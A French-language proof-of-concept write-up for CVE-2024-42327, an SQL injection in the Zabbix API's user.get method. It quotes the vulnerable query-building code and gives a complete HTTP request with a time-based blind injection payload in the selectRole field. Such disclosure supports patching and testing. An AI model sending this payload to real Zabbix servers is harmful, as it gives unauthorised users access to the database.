
Preuve de concept d'exploitation pour CVE-2024-42327, une vulnérabilité d'injection SQL dans l'API frontend de Zabbix permettant aux utilisateurs non administrateurs d'exécuter des requêtes SQL arbitraires via la méthode user.get.
Un compte utilisateur non administrateur sur le frontend Zabbix avec le rôle Utilisateur par défaut, ou tout autre rôle donnant accès à l'API, peut exploiter cette vulnérabilité. Une injection SQL existe dans la classe CUser au niveau de la fonction addRelatedObjects, cette fonction étant appelée depuis la fonction CUser.get qui est accessible à tout utilisateur disposant d'un accès API.
Ce script est fourni à des fins éducatives uniquement !
Le code suivant de la version 6.0.31 est vulnérable à une injection SQL :
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
L'appel suivant déclenche la vulnérabilité :
POST /api_jsonrpc.php HTTP/1.1
Host: localhost
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1","2"]
},
"id": 1,
"auth": ""
}